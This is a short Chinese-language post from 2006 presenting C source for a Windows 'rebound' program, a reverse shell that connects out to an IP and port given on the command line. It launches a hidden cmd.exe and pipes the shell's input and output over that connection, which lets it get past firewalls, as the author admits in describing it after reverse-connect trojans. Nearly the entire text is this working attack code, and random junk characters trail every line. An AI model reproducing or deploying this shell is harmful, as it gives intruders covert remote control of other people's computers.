这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 67H?xsk@n
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/* ============================== ?|oN}y"i
Rebound port in Windows NT 1QhQ#`$<1
By wind,2006/7 ]p4?nT@]
===============================*/ S+Ia2O)BA
#include ^v5]Aq~X
#include ON{a'H
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#pragma comment(lib,"wsock32.lib") usK P9[T$
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void OutputShell(); s9Tn|Pm+!\
SOCKET sClient; KDf#e3
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; v0!(&g3Sd
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void main(int argc,char **argv) [SKDsJRPP
{ eMEKR5*-O
WSADATA stWsaData; 1f"}]MbLR
int nRet; [".94(qs
SOCKADDR_IN stSaiClient,stSaiServer; XdzC/{G
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if(argc != 3) G.N`
{ f `b6E J
printf("Useage:\n\rRebound DestIP DestPort\n"); iz [IK%K
return; |"b|Q
} M/xm6
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WSAStartup(MAKEWORD(2,2),&stWsaData); J_XkQR[Y
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); rHybP6C<
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stSaiClient.sin_family = AF_INET; AU}|o0Ur
stSaiClient.sin_port = htons(0); 2A*,9S|Y
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 4QPHT#e qX
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 3*{l^<`:gA
{ #;1RStb:zj
printf("Bind Socket Failed!\n"); <JXHg,Q
return;
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} _BgWy#
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stSaiServer.sin_family = AF_INET; Zu~t )W
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 2h}FotlO
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); "-5FUKI-
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) lA6{TH.x
{ 'UGgY3
printf("Connect Error!"); "9~KVILlLu
return; cYOcl-*af
} [%/B"wTt
OutputShell(); <
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} eH*i_g'
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void OutputShell() "WPWMQ+
{ YOfYa
char szBuff[1024]; U3M;{_g
SECURITY_ATTRIBUTES stSecurityAttributes; 2>J;P C[;
OSVERSIONINFO stOsversionInfo; XfEp_.~JM
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; gtY7N>e
STARTUPINFO stStartupInfo; 4Pf"R~&[
char *szShell; /7a3*a
PROCESS_INFORMATION stProcessInformation; 3c:fYE
unsigned long lBytesRead; 1b7?6CqV
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); TL-ALtG
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); E3x<o<v
stSecurityAttributes.lpSecurityDescriptor = 0; :a=]<_*x
stSecurityAttributes.bInheritHandle = TRUE; Ir-
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); DU5rB\!.~
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Y{t}sO%A
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); z,!A4ws
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G!D~*B9G
stStartupInfo.wShowWindow = SW_HIDE; sAK&^g
stStartupInfo.hStdInput = hReadPipe; mEb`ET|
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; i!<(R$Lo
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GetVersionEx(&stOsversionInfo); a6d|Ps.\!
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switch(stOsversionInfo.dwPlatformId) ?f5||^7
{ <BdC#t:*L
case 1: '&]6(+I>
szShell = "command.com"; d%!yFix;<
break; L<Z2
default: ?Qpi(Czbpq
szShell = "cmd.exe"; e&mTaCLG
break; @ L/i
} -H5-6w$
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); +\vN#xDz
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send(sClient,szMsg,77,0); Sx_j`Cgy
while(1) n@oSLo`k,`
{ ~(cqFf
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); %P*b&H^0
if(lBytesRead)
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{ E
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); CF+:v(NL
send(sClient,szBuff,lBytesRead,0); X`]>J5
} tg ~7^(s
else )_l(WF.
{ 'E\qqE[;
lBytesRead=recv(sClient,szBuff,1024,0); tK\$LZ
if(lBytesRead<=0) break; nxuR^6Ai
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); H_l>L9/\
} B+'w'e$6
} 5YiBPB")
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return; \J6e/ G
}